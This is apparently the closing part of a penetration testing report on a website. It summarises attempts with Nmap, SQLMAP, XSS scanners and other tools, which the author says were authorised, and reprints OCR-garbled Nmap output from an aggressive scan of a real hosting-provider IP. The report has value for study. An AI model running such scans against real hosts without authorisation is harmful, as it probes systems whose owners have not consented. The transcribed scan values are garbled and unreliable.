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By using an automated online penetration testing tool, a user can gather some form of exploits towards the web application platform. The above screenshot was the first attempt providing information of some risks associated with the WordPress platform. The vulnerability suggests the update of the WP platform to avoid further exploits of enumeration and information gathering.
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The second scan was conducted to view if there were any possible vulnerabilities after the first scan, as a result, it displays that the website is not open for exploits which suggests the organization has updated their services. 

Setoolkit – Social Engineering Testing
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BruteXSS – Brute Force Cross Site Scripting
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Using the application of running a Cross-site scripting exploit, the author found no minor vulnerability, this suggests that the organization is not vulnerable to XSS attacks.

XSS Sniper – Cross Site Scripting
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Another attempt at the XSS attack, utilizing another tool known as XSS Sniper, the attempt appears as normal, which means the organization has taken preventive measures for secure the web application platform against injection attacks.




Yuki Chan – Automated Penetration Testing

Here the author provides the final part of the vulnerability testing, utilizing an automated tool known as Yuki Chan, this tool possess other applications within its framework, therefore runs a list of other vulnerability analysis tools altogether.
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Evaluation
Results
The author ran multiple penetration testing application utilizing various protocols and services involved within each web application platform. The various tools that were used mainly implemented within Kali Linux distribution, this is due to the ease of use it provides the user who conducts penetration testing and other vulnerability scanning techniques. The intention of the author was to gain as much possible information as possible to attempt at being successful with the tests carried out, however, due to the limitations such as the integrity of the security which the company provides, the vulnerability tests that were conducted were only able to reach a certain standard by collecting only limited information such as server information, services and protocols used, types of application software implemented within the platform and many other components relating to web application. The list of tools used are listed by the author below;

· NMAP
· DNS Lookup Tool
· Maltego
· Censys
· SQLMAP
· D-Tect
· Nikto
· Settoolkit
· Online Penetration Tool
· BruteXSS
· XSS Sniper
· Uniscan
· Metasploit
· WPScan
· Yuki Chan
· The Harvester
· WP Scanner

The author also provides a list of the protocols that were involved within each scenario of the penetration;
· HTTP/S
· FTP
· TCP
· UDP
· IP
· SSL
· SSH
· SMTP
· ICMP
Conclusion
In conclusion, the author set out a target to run a penetration testing framework to use test against a given website, this case the authorized permission allowed the conducted multiple penetration testing software tools to utilize in order to attain a successful vulnerability analysis. The author devises a synthesized solution to discover potential vulnerabilities that can be gathered through the use of web application testing, vulnerability analysis against different protocols such as HTTP, FTP, TCP, UDP and relative protocols. The research conducted on the OWASP top 10 attacks was required to gain the relative information to conduct those attacks assuming the practical applications where possible to carry out. Before the author could carry out a penetration test, a contingency plan to develop a policy to state what is the incident response in relation to any possible exploits. The author was required to carry out black box penetration testing, this is where an uninformed individual takes the place of an attacker to run the test required, this in turn, formulates a realistic scenario which provides the user an idea of what a real attacker can exploit. To formulate a penetration testing framework, the author uses an example of ‘kill chain’ which demonstrates the steps required to carry out a penetration test. The author then conducted various exploits which are mentioned within the implementation section. The results of these exploit its proved to remain ineffective at gaining internal information due to the integrity of the security within the organization, therefore there were limitation to conducting these penetration tests.
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UDP Scan Timing: About 15.84% done; ETC: 22:53 (0:08:03 remaining)

UDP Scan Timing: About 16.84% done; ETC: 22:56 (9:09:57 remaining)
Increasing send delay for 192.185.39.52 from 866 to 1800 due to 11 out of 18 dropped probes since last increase.
UDP Scan Timing: About 18.70% done; ETC: 22:57 (9:10:56 remaining)

UDP Scan Timing: About 21.57% done; ETC: 22:59 (9:11:42 remaining)

UDP Scan Timing: About 22.13% done; ETC: 23:00 (9:13:05 remaining)

UDP Scan Timing: About 27.44% done; ETC: 23:00 (9:12:12 remaining)

UDP Scan Timing: About 33.04% done; ETC: 23:03 (9:13:06 remaining)

UDP Scan Timing: About 33.56% done; ETC: 23:05 (0:14:05 remaining)

UDP Scan Timing: About 36.19% done; ETC: 23:07 (9:15:12 remaining)

UDP Scan Timing: About 41.11% done; ETC: 23:07 (9:13:55 remaining)

UDP Scan Timing: About 44.93% done; ETC: 23:07 (9:12:42 remaining)

UDP Scan Timing: About 49.33% done; ETC: 23:06 (0:11:31 remaining)

UDP Scan Timing: About 62.93% done; ETC: 23:12 (9:10:21 remaining)

UDP Scan Timing: About 67.34% done; ETC: 23:11 (9:08:53 remaining)

UDP Scan Timing: About 71.96% done; ETC: 23:10 (9:07:27 remaining)

UDP Scan Timing: About 78.34% done; ETC: 23:12 (9:06:03 remaining)

UDP Scan Timing: About 83.04% done; ETC: 23:11 (9:04:39 remaining)

UDP Scan Timing: About 87.84% done; ETC: 23:10 (0:03:16 remaining)

UDP Scan Timing: About 92.94% done; ETC: 23:10 (9:01:52 remaining)

UDP Scan Timing: About 97.94% done; ETC: 23:10 (9:00:32 remaining)
Completed UDP Scan at 23:10, 1602.41s elapsed (1090 total ports)
Initiating Service scan at 23:16

Scanning 155 services on nsa202.hostgator.com (192.185.39.52)

Service scan Timing: About 12.26% done; ETC: 23:24 (9:11:34 remaining)
Service scan Timing: About 30.97% done; ETC: 23:18 (9:04:59 remaining)
Service scan Timing: About 31.61% done; ETC: 23:21 (9:07:02 remaining)
Service scan Timing: About 50.32% done; ETC: 23:18 (0:03:48 remaining)
Service scan Timing: About 50.97% done; ETC: 23:20 (9:04:42 remaining)
Service scan Timing: About 69.68% done; ETC: 23:18 (9:02:23 remaining)
Service scan Timing: About 81.94% done; ETC: 23:18 (9:01:27 remaining)
Service scan Timing: About 89.03% done; ETC: 23:18 (9:00:52 remaining)
Service scan Timing: About 89.68% done; ETC: 23:19 (9:00:56 remaining)
Completed service scan at 23:19, 489.13s elapsed (155 services on 1 host)
Initiating OS detection (try #1) against ns8262.nostgator.com (192.185.39.52)
Retrying 05 detection (try #2) against nss202.hostgator.com (192.185.39.52)
Initiating Traceroute at 23:18

Completed Traceroute at 23:19, 0.03s elapsed

Initiating Parallel DNS resolution of 3 hosts. at 23:19

Completed Parallel DNS resolution of 3 hosts. at 23:19, 5.50s elapsed

NSE: Script scanning 192.185.39.52.

Initiating NSE at 23:13

NSE: [ip-geolocation-maxnind] You must specify a Maxmind database file with the maxmind_db argument.
NSE: [ip-geolocation-maxnind] Download the database from http://dev.maxmind.com/geoip/legacy/geolite/
Completed NSE at 23:20, 100.50s clapsed

Initiating NSE at 23:26

Completed NSE at 23:21, 7.985 elapsed

Initiating NSE at 23:21

Completed NSE at 23:21, 0.03s elapsed

Nrap scan report for ns3202.nostgator.com (192.185.39.52)
NSOCK ERROR [2133.3030s] mksock_bind_addr(): Bind to 0.0.0.0:500 failed (I0D #165): An attempt was made to access a socket in a way forbidden by its access permissions. (10013)
NSOCK ERROR [2134.4900s] mksock_bind_addr(): Bind to 0.0.0.0:500 failed (I0D #190): An attempt was made to access a socket in a way forbidden by its access permissions. (10013)
NSOCK ERROR [2135.6620s] mksock_bind_addr(): Bind to 0.0.0.0:500 failed (I0D #206): An attempt was made to access a socket in a way forbidden by its access permissions. (10013)
NSOCK ERROR [2136.0060s] mksock_bind_addr(): Bind to 0.0.0.0:500 failed (I0D #212): An attempt was made to access a socket in a way forbidden by its access permissions. (10013)
NSOCK ERROR [2136.2560s] mksock_bind_addr(): Bind to 0.0.0.0:500 failed (I0D #219): An attempt was made to access a socket in a way forbidden by its access permissions. (10013)

5 NSOCK ERROR [2136.8180s] mksock_bind addr(): Bind to 0.0.0.0:500 failed (IOD #229): An attempt was made to access a socket in a way forbidden by its access permissions. (10013)
NSOCK ERROR [2233.7200s] mksock_bind_addr(): Bind to 0.0.0.0:123 failed (I0D #720): An attempt was made to access a socket in a way forbidden by its access permissions. (10013)

Fiter Hosts Host i< un (6245 Tatency). ;
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Scan Tools Profile Help

Target: | 192.185.39.52 | Profile: | Slow comprehensive scan | [scan| |Caneel

Command: | nmap -s5 -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (iscovery and safe)" 192.185.39.52

Hosts | Services Nmap Output Ports / Hosts Topology Host Details Scans
05 4 Host nmap -5 -sU -T4 -A - -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52 & Details
A nsB02hostgatorcr | |_imap-capabilities: have NAMESPACE IDLE Pre-login capabilities ID LITERAL+ STARTTLS SASL-IR AUTH-PLAIN OK AUTH-LOGINAG@@1 LOGIN-REFERRALS more listed ENABLE post-login IMAP4revl B

|

| ss1-cert: subject: commonhiame=*.hostgator.com
| Subject Alternative Name: DNS:*.hostgator.com, DNS:hostgator.com

| Issuer: commonNiame=FG1K2D3I17801762/0rganizationName=Fortinet/staterProvinceName=California/countryName
| Public Key type: rsa

| Public Key bits: 2048
|
|
|
|

Signature Algorithm: sha2SGHithRSAEncryption
Not valid before: 2015-10-02T00:00:00
Not valid after: 2020-10-@1723:59:59
MDS:  aSla dc3c 98cs 4596 9675 6716 aldd 1241
|_SHA-1: a3a5 b87f 312 9a34 €373 3555 @25a c145 @ec2 d494
|_ss1-date: 2019-61-24723:19:32+00:00; +7s from scanner time.
433/tcp Filtered https
465/tcp open  ssl/smtp Exim sntpd 4.91
| smtp-commands: gator4101.hostgator.com Hello ns8262.hostgator.com [212.219.61.254], SIZE 52428300, SBITMIME, PIPELINING, AUTH PLAIN LOGIN, HELP,
|_ Commands supported: AUTH HELO EHLO MATL RCPT DATA BDAT NOOP QUIT RSET HELP
|_ssl-date: 2019-61-24723:19:18+00:00; +6s from scanner time.
S87/tcp open  smtp Exin sntpd 4.91
| _smtp-commands: Couldn't establish connection on port 587
| ssl-cert: Subject: commonhiame=*.hostgator.com
| Subject Alternative Name: DNS:*.hostgator.com, DNS:hostgator.com
| Issuer: commonliane=COMODO RSA Domain Validation Secure Server CA/organizationNiame=COMODO CA Limited/stateOrProvinceNiame=Greater Manchester/countryliane=GB
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha2SeWithRSAEncryption
| Not valid before: 2013-10-02700:00:00
| Not valid after: 2020-10-81723:59:59
| MDS: 9067 c122 c844 32ba @8al 9bcb 9c49 304F
|_SHA-1: 6bc5 779a 982b 7464 @cf2 211a Sbdd 923c 71d4 867
993/tcp open  ssl/imap Dovecot _imapd
| banner: * OK [CAPABILITY IMAP4revl LITERAL+ SASL-TR LOGIN-REFERRALS 1D
|_ENABLE IDLE NAMESPACE AUTH=PLAIN AUTH=LOGIN] Dovecot ready.
|_imap-capabilities: have NAMESPACE IDLE Pre-login capabilities ID LITERAL+ SASL-IR AUTH=PLAIN OK AUTH=LOGINAG@G1 LOGIN-REFERRALS more listed ENABLE post-login IMAP4revl
| ss1-cert: subject: commonhiame=*.hostgator.com
| Subject Alternative Name: DNS:*.hostgator.com, DNS:hostgator.com
| Issuer: commonliane=COMODO RSA Domain Validation Secure Server CA/organizationNiame=COMODO CA Limited/stateOrProvinceNiame=Greater Manchester/countryliane=GB
| Public Key type: rsa
| Public Key bits: 2048
|
|
|
|
!

Signature Algorithm: sha2SGHithRSAEncryption
Not valid before: 2015-10-02T00:00:00
Not valid after: 2020-10-@1723:59:59
MDS: 9007 c122 cB44 32ba @Bal Sbcb Sc49 3047
_sHA-1: 6bcs 779a 982b 7464 0cF2 211a Sbdd 923c 7134 8057
|_ssl-date: 2019-61-24723:19:21+00:00; +5s from scanner time.
995/tcp open  ss1/pop3 Dovecot pop3d
|_banner: +OK Dovecot ready.
| Zpop3-capabilities: AUTH-RESP-CODE CAPA USER UIDL RESP-CODES PIPELINING TOP SASL(PLAIN LOGIN)
| ssl-cert: subject: commonhiame=*.nostgator.com
| Subject Alternative Name: DNS:*.hostgator.com, DNS:hostgator.com
| Issuer: commonliane=COMODO RSA Domain Validation Secure Server CA/organizationNiame=COMODO CA Limited/stateOrProvinceNiame=Greater Manchester/countryliane=GB
| Public Key type: rsa
|
|
|
|
|

Public Key bits: 2048
Signature Algorithm: sha2S6HithRSAEncryption
Not valid before: 2013-10-02T00:00:00
Not valid after: 2020-10-01723:59:59
HDS: 9007 c122 344 32ba 0Bal Sbcb 9ca3 3047
|SHA-1: 6bc5 779a 982b 7464 BcF2 211a Sbdd 823 71d4 8057
| ss1-date: 2019-61-24723:19:15+00:00; +55 from scamner time.
1720/tcp Filtered h323a331
> 2000/tcp open  cisco-sccp?
2222/tcp open __ssh OpenssH 5.3 (protocol 2.0) v
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Target: | 192.185.39.52

Hosts | Services

05 4 Host

| Profile: | Slow comprehensive scan | [scan| |Caneel
Command: | nmap -s5 -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (iscovery and safe)" 192.185.39.52

Nmap Output Ports / Hosts Topology Host Details Scans

nmap -5 -sU -T4 -A - -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52 & Details

B nse202hostgatorc:

2222/%cp open ssh OpenssH 5.3 (protocol 2.0)
[

banner: SSH-2.6-0penssH_s.3
ssh-hostkey
1024 Se:ac:98:46:3:a5:36:a4:b5:ca:19:54:2b:06:c0:a0 (DSA)
2045 e9:da:dc:F3:56:6:0d:58:5¢:75:0d:58:eb:44:5d:b3 (RSA)
ssh2-enum-algos
kex_algorithms: (1)
4iFFie-hellnan-group-exchange-sha2ss
server_host_key_algorithms: (2)
ssh-rsa
ssh-dss
encryption_algorithms: (3)
aes256-ctr
aes192-ctr
aes12s-ctr
mac_algorithms: (4)
hmac-sha2-512
hmac-sha2-256
hmac-ripend16e
hmac-ripend168gopenssh . con
compression_algorithms: (2)
z1ibgopenssh. com

3306/tcp open  mysql HySQL 5.6.41-84.1

|
|
|
|
|
c
|
|

banner: 0\xB8\xBB\xBB\xBAS .6.41-84.1\x88\XE6\XCI\XBF \x82Dp ) xB}57\x8B\xF
F\XFF\XCB\xB2\xBB\x7F \XCB\X15\x8\xB8\ xB8\ xB8\ xB8\ xB8\ xBB\ xBB\ xB8\ 8.
mysal-info:

Protocol: 10

Version: 5.6.41-84.1

Thread ID: 42977630

Capabilities flags: 65535

Some Capabilities: LongColumFlag, Support4lauth, SpeaksdlProtocolold, ODBCClient, SupportsTransactions, DontAllowDatabaseTableColumn, IgnoreSigpipes, InteractiveClient, SupportsloadDatalocal, SwitchToSSLAfterHandshake, SpeaksélProtocolliew,

onnectilithDatabase, SupportsCompression, FoundRows, LongPassword, IgnoreSpaceBeforeParenthesis, SupportsAuthPlugins, SupportsMultiplestatments, SupportsMultipleResults

Status: Autocommit
Salt: gb7)iVRy-oi@DreQuitq
Auth Plugin Name: 84

5060/tcp open  sip?
8008/tcp open  http

Fingerprint-strings

FourOhFourRequest

HTTP/1.1 362 Found

Location: https://:8616/nicex28ports¥2C/Tri%6Eity . txtx2ebak

Connection: close

X-Frame-Options: SAMEORIGIN

X-XS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Content-Security-Policy: frame-ancestors
GenericLines, HTTPOptions, RTSPRequest, SIPOptions

HTTP/1.1 362 Found

Location: https://:8616

Connection: close

X-Frame-Options: SAMEORIGIN

X-XS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Content-Security-Policy: frame-ancestors
GetRegquest

HTTP/1.1 362 Found

Location: https://:8616/

Connection: close

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block
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Target: |192.18530.52 ~| Profile. | Slow comprehensive scan | [scan]| [Goneel

Command: | nmap -s5 -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (iscovery and safe)" 192.185.39.52

Hosts | Services Nmap Output Ports / Hosts Topology Host Details Scans

05 4 Host nmap -5 -sU -T4 -A - -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52 & Details

B nse202hostgatorc: X-Content-Type-Options: nosniff A
Content-Security-Policys frame-ancestors

ttp-comnents-displaver: Couldn't Find any comments.

nttp-headers

Location: https://ns6202. hostgator. con:5010/

Connection: close

X-Frame-Options: SAMEORIGIN

XXSS-protection: 1; mode=block

X_Content-Type-Options: nosnit

Content-Security-Policys frame-sncestors

|
I
[
|
|
|
|
|
|
|
|
| (Request type: GET)
Tnccp-netnoos
| Supparted hethods: GET HEAD POST OPTIONS
|Ticcp-nabiLeversion-checker: No mobile version detected.
[ http-referer-checker: Couldn't find any cross-domain scripts.
| http-security-headers
| "X Frane. options
| Headers X-rrame-options: SAMEORIGIN
| Deseription: The brouser must not display this content in any frame from a page of different origin than the content itself.
| xxss protection
| Headers X-x55-Protection: 1; modesblock
|| Description: Tne browser will prevent the rendering of the page wnen XSS is detected.
| %_Content_Type_options
| header: x-Content-Type-Options: nosniff
| Description: Wil prevent tne browser from MINE-snicfing 3 response away From the declared content-type.
| content_Security_poticy
| Header: content-security-policy: frane-ancestors
| Description: Derine from wnere the protected resource can be embedded in franes.
| Cache.control
| Hesders Cache-controL no-cache
|Tictp-tities Dia not follow redirect to hEtps://ns6202.hostgstor.conigel0/
|Thtp-tracerovte
| Possibie reverse proxy detected.
“hitp-useragent-tester-
| "Status for browser useragent: 200
| Redirected To: https://n:6202. hostgator. con:5016/
| Allowe User Agents
| Mozilla/5.@ (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| Tivam
| lupetrivial
| libcuri-sgent/i.0
[
| python-uriiib/2.5
[
| snoopy
| A Tear_swmpie
| amesie
[
| URzoreten
| zendHitp crient
| e caient
| pecisme
| Wget/1.13.4 (linux-gnu)
I it recnanize/1.5
[http-xssed: No previously reported XSS vuln.
E010/%cp open  s51/nttp.prowy FortiGate Web Filtering Service
| nttp-neacers
| " Content-Length: 2515
> | comection: close
| Cache-controt: no-cache v
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Target: |192.18530.52 ~| Profile. | Slow comprehensive scan | [scan]| [Goneel

Command: | nmap -s5 -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (iscovery and safe)" 192.185.39.52

Hosts | Services Nmap Output Ports / Hosts Topology Host Details Scans

05 4 Host nmap -5 -sU -T4 -A - -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52 & Details
Content-Type: text/html; charset=utf-5
X-Frame-Options: SAMEORIGIN
X-XS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors

B nse202hostgatorc:

(Request type: GET)
http-methods
Supported Methods: GET HEAD POST OPTIONS
http-title: Web Filter Block Override
ssl-cert: Subject: commonliame=192.185.39.52
Subject Alternative Name: DNS:192.185.39.52
Tssuer: commonliane=FG1K2D3117861762/0rganizationNane=Fortinet/state0rProvinceNane=California/countryliane=us
Public Key type: rsa
Public Key bits: 2648
Signature Algorithm: sha2SGHithRSAEncryption
Not valid before: 2017-12-6T69:@5:42
Not valid after: 2038-01-19Te3:14:e7
MDS:  98Gb 45a3 7498 5029 bala eedS eafh 6369
_SHA-1: 1e81 9%c9 091b 3538 G682 F£2d colb 466e bess 4271
|_ssl-date: 2019-01-24723:19:30+00:00; +6s from scanner time.
|_sstp-discover: SSTP is supported.
8080/tcp open http nginx 1.14.1
|_http-comments-displayer: Couldn't find any comments.
|_http-date: Thu, 24 Jan 2019 23:19:35 GMT; +4s from local time.
|_http-favicon: Unknown favicon MDS: D41D8CD98F@@B204E9B0099BECFB427E
| http-headers
| server: nginx/1.14.1
| Date: Thu, 24 Jan 2019 23:19:32 GMT
| Content-Type: text/html
| Content-Length: 694
| Comnection: close
| Last-Modified: lWed, 16 Oct 2018 06:49:08 GMT
| Accept-Ranges: bytes
|
I
|
I

(Request type: HEAD)
ttp-metnods

Supported Methods: GET HEAD POST OPTIONS
|Ticcp-nabiLeversion-checker: No mobile version detected.
[ http-referer-checker: Couldn't find any cross-doain scripts.
[ http-robots.txt: 1 disalloued entry
I/
|Thttp-security-headers
| Zhttp-server-header: nginx/1.14.1
|Thcep-titie: dos trror
| Requesed resource uas /404.ntnl
Tty traceroste
| Possibie reverse proxy detected.
[Thttp-crane-info: Problem with XiL parsing of /evox/about
| hitp-useragent-tester.
| "Status for browser useragent: 20
| Reairectea To: /464 nims
| Allowea User Agents
| Mozilla/5.@ (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| lup-trivial
| libcuri-sgent/i.0
[
| python-uriiib/2.5
[
1 Snoopy
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Target: |192.18530.52 ~| Profile. | Slow comprehensive scan | [scan]| [Goneel

Command: | nmap -s5 -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (iscovery and safe)" 192.185.39.52

Hosts | Services Nmap Output Ports / Hosts Topology Host Details Scans

05 4 Host nmap -5 -sU -T4 -A - -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" 192.185.39.52 & Details

[ — Fyonuriii 2.

i
| GT: sl

| Snoopy.

| MFC_Tear_Sample

| HTTP::Lite

| PHPCrawl

| URI: :Fetch

| Zend_Http_Client

| http client

| PECL: :HTTP

| Mget/1.13.4 (Linux-gnu)

| Widi-Mechanize/1.34

| Change in Status Code

- libwww: false

|_http-xssed: No previously reported XSS vuln.

8343/tcp open  ssl/http nginx 1.14.1
|_http-comments-displayer: Couldn't find any comments.

|_http-date: Thu, 24 Jan 2019 23:19:20 GMT; @s from local time.
|_http-favicon: Unknown favicon MDS: D41D8CDI8F@@B204E9B0099BECFB42TE
| http-headers

| server: nginx/1.14.1

| Date: Thu, 24 Jan 2019 23:19:36 GMT

| Content-Type: text/html

| Content-Length: 694

| Comnection: close

| Last-Modified: lWed, 16 Oct 2018 06:49:08 GMT
| Accept-Ranges: bytes
|

I

|

I

(Request type: HEAD)
ttp-metnods

Supported Methods: GET HEAD POST OPTIONS
|Ticcp-nabiLeversion-checker: No mobile version detected.
[ http-referer-checker: Couldn't find any cross-doain scripts.
[ http-robots.txt: 1 disalloued entry
I/
| http-security-headers
| "Strict. Transport Security
| HSTS not conFigured in ATTPS Server
[Thttp-server-header: nginx/1.14.1
|Thcep-titie: dos trror
| Requesed resource uas /404.ntnl
Tty traceroste
| Possibie reverse proxy detected.
“hitp-useragent-tester-
| "Status for browser useragent: 20
| Reairectea To: /464 nims
| Allowea User Agents
| Mozilla/5.@ (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| Tivam
| lupetrivial
| libcuri-sgent/i.0
[
| python-uriiib/2.5
[
| snoopy
| A Tear_swmpie
| amesie
[
| URzoreten
| zendHitp crient
| e caient
[
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Target: |192.18530.52 ~| Profile. | Slow comprehensive scan | [scan]| [Goneel

Command: | nmap -s5 -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (iscovery and safe)" 192.185.39.52

Hosts | Services Nmap Output Ports / Hosts Topology Host Details Scans

05 ¢ Host map -55 -sU -T4 -A v -PE -PP -PS80,443 -PA3369 -PUDI2S -PY -9 3 -script"defout or (discovery and safe)” 192.18539.52 <] = [petais
T mas e
B neizhotgmore | 5oy ey Crient
| hetp erient
| pectiamme
| Wget/1.13.4 (linux-gnu)
| \iti-echanize/1.34
[Thttp-xssed: No previously reported XSS vuln.
| ssl-cert: Subject: commonName=*.hostgator.com
| SubJect Alternative Name: DUS:* hostgator.com, DNS:hostgator.con
| Issuer: commonName=COMODO RSA Domain Validation Secure Server CA/organizationName=COMODO CA Limited/stateOrProvinceName=Greater Manchester/countryName=GB
| Public Key type: rsa
I Public Key bits: 2048
| Signature Algorithm: shazssuitnRsAEncryption
|
|
|
I
I
|
|
I
|
|
1

Not valid before: 2015-10-02T00:00:00
Not valid after: 2020-10-@1723:59:59

MDS: 9007 c122 cB44 32ba @Bal Sbcb Sc49 3047
_sHA-1: 6bcs 779a 982b 7464 BcF2 211a Sbdd 923¢ 7134 5057
ssl-date: TLS randomness does not represent time
t1s-alpn

2

http/1.1

t1s-nextprotoneg:

2
_ http/1.1
S3/udp  open  domain ISC BIND 9.8.2rc1 (RedHat Enterprise Linux 6)
| dns-nsid
I_ bind.version: 9.8.2rc1-RedHat-9.8.2-8.68.rcl.e16
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cei
SF-POrt8008-TCP:V=7 . 70%1=7%D=1/ 24%T ine=5C4A4601%P=1686-pc -windows -windows%
SE:r(GetRequest , CC, "HTTP/11.11x20302\x20Found\r\nLocat fon: \x2ht tps :// :501
0/ \r\nConnect ion: \x20c10se\r\nX-Frame-Opt ions : \x20SAMEORTGIN F\nX-XS5-P
rotection: \x261; \x28mode=bLock\r\nX-Content-Type-Options: \x28nosnifF\r\
nContent-Security-Policy : \x26rame-ancestors\r\n\r\n" )%r (FourOhFourRequ
est, EF, "HTTP/1\.1\x2362\x26Found\r\nLocation: \x26https: // :8816/nicex26
Ports%2C/Tri%6Eity\ . txt¥2ebak\r\nConnection: \x26close\r\nX-Frame-Option
5:\x28SAMEORTGIN\F\nX-X55-Protection: \x201; \x26mode=block\r\nX-Content-
Type-Options : \x20nosni FF\r\nContent -Security-Policy: \x20frane-ancestors
\F\n\r\n")%r(GenericLines,CB, "HTTP/1\.1\x26362\x26Found\r\nLocation: \x2
onttps://:8010\r\nConnect ion: \x20c10se\r\nX-Frame-Opt ions : \x20SAHEORTGT
N\F\nX-XSS-Protection: \x261; \x28mode=block\r\nX-Content-Type-Options: \x
26n0sni#F\r\nContent-Security-Policy : \x26¢rame-ancestors\F\m\r\n" )%r (HT
TPOptions, (8, "HTTP/1\.11x20302\x20F ound\r\nLocat ion: \x2https: // 18010\~
\nConnection: \x26¢1ose\r\nX-Frame-Options : \x28SAMEORIGIN\F\nX-X55-Prote
ction:\x261;\x26mode=block\r\nX-Content-Type-Options : \x28nosnifF\r\nCon
tent-Security-Policy: \x20frane-ancestors\rin\rin" )% (RTSPRequest ,C8, "HT
TP/11.11x20302\x20F ound\r\nLocat ion: \x2@ht tps :// :3010\r\nConnect fon: \x2
0c1ose\r\nX-Frame-Opt ions : \x20SAMEORIGIN\\nX-XS5-Protect ion: \x201;1x20
mode=block\r\nX-Content - Type-Options : \x2@nosni##\r\nContent -Security-Po
1icy:\x26¢rame-ancestors\r\n\r\n" )%r (SIPOptions, CB, "HTTP/1\.1\x26362\x2
oFound\r\nLocat ion: \x28https : // :8010\r\nConnect ion: \x20c1ose\r\nX-Frame
Options : \x20SAMEORTGIN\\nX-XS5-Protect ion: \x201; \x20mode=block\r\nX-C
ontent -Type-Options : \x20nosni £\ r\nContent -Security-Policy: \x20frane-an
SEzcestors\rimrin®);

Begressive 05 guesses: Linux 2.6.18 - 2.6.22 (89%), Linux 3.18 (88%), Linux 3.2 - 3.8 (87%), Linux 3.11 - 4.1 (§7%), QUAP NAS Firmuare 3.8.3 (Linux 3.X) (87%), Grandstream GXV3275 video phone (87%), Linux 2.6.32 (87%), Linux 4.4 (86%), Ubiquiti

EdgeSwitch (Linux 3.6) (86%), Tomato 1.27 - 1.28 (Linux 2.4.20) (86%)

No exact 05 matches for host (test conditions non-ideal).

Uptime guess: 132.187 days (since Fri Sep 14 19:51:28 2018)

Netuork Distance: 3 hops

ICP_Seauence Prediction: Difficulty=247 (Good luck!)
> IP_ID Sequence Generation: Broken little-endian incremental

Service Info: Rost: gatord101.hostgator.com; 0S: Linux; CPE: cpe:/o:redhat:enterprise linux:s

E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
E
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Scan Tools Profile Help

Target: | 192.185.39.52

Hosts | Services

05 4 Host

~| Profile. | Slow comprehensive scan | [scan| |Caneel
Command: | nmap -5 -sU T4 -A -v -PE -PP -PS80,443 -PA3389 -PUA0125 -PY ~g 53 —script "defauit or (discovery and safe)” 192185.39.52
Nmap Output Ports / Hosts Topology Host Details Scans
nmap -55 -sU T4 -A -v -PE -PP -PSG0,443 -PA3383 -PUAD125 -PY ~g 53 -script "default or (discovery and safe)” 192185.39.52 & Details
cestors\rinrin®); B ) ~

B nse202hostgatorc:

Begressive 05 guesses: Linux 2.6.18 - 2.6.22 (89%), Linux 3.18 (88%), Linux 3.2 - 3.8 (87%), Linux 3.11 - 4.1 (§7%), QUAP NAS Firmuare 3.8.3 (Linux 3.X) (87%), Grandstream GXV3275 video phone (87%), Linux 2.6.32 (87%), Linux 4.4 (86%), Ubiquiti
EdgeSwitch (Linux 3.6) (86%), Tomato 1.27 - 1.28 (Linux 2.4.20) (86%)

No exact 05 matches for host (test conditions non-ideal).

Uptime guess: 132.187 days (since Fri Sep 14 19:51:28 2018)

Netuork Distance: 3 hops

ICP_Seauence Prediction: Difficulty=247 (Good luck!)

1P ID Sequence Generation: Broken little-endian incremental

Service Info: ost: gatord101.hostgator.com; 0S: Linux; CPE: cpe:/o:redhat:enterprise linux:6

Host_script_results:
| asn-query:

| BoP: 192.185.0.0/18 | Country: Us

| Origin AS: 46605 - UNIFIEDLAYER-AS-1 - Unified Layer, US
|- Peer As: 20013

|_clock-skew: mean: 4s, deviation: 2s, median: 5s

| Fcrdns.

| ns8202.hostgator. com

| status: pass

| addresses

! 192.185.39.52

|Zfireualk: ERROR: Script execution failed (use -d to debug)

| hostmap-robtex: ERROR: Script execution failed (use -d to debug)

| ip-geolocation-geoplugin

|_192.185.39.52

|Zipidseq: ERROR: Script execution failed (use -d to debug)

|Zpath-mtu: ERROR: Script execution failed (use -d to debug)

|Zascan: ERROR: Script execution failed (use -d to debug)

| traceroute-geolocation

| HOP RTT  ADDRESS GEOLOCATION

| 1 e.e 172.20.1.254 -

| 2 ew.e 172.30.12.2 -

|_ 3 e.6e nss202.nostgator.con (192.185.39.52) 29.832,-95.472 United States (Texas)
|_whois-domain: You should provide a domain name.
i
|
|
|
|
|
I

whois-ip: Record found at whois.arin.net
netrange: 192.185.0.0 - 192.185.255.255
netname: HGBLOCK-10

orgname: WEBSITEWELCOME.COM

orgid: 80

country: Us stateprov: TX

orgtechnane: 1P Admin

_orgtechenail: ipadmin@uebsitenelcone.com

TRACEROUTE (using port 113/tcp)

HOP RTT  ADDRESS

1 0.0 ms 172.29.1.258

2 e.0e ms 172.30.12.2

3 6.68 ms ns8202.hostgator.com (192.185.39.52)

NSE: Script Post-scanning.
Tnitiating NSE at 23:21
Completed NSE at 23:21, 0.005 elapsed
Initiating NSE at 23:21
Completed NSE at 23:21, 0.005 elapsed
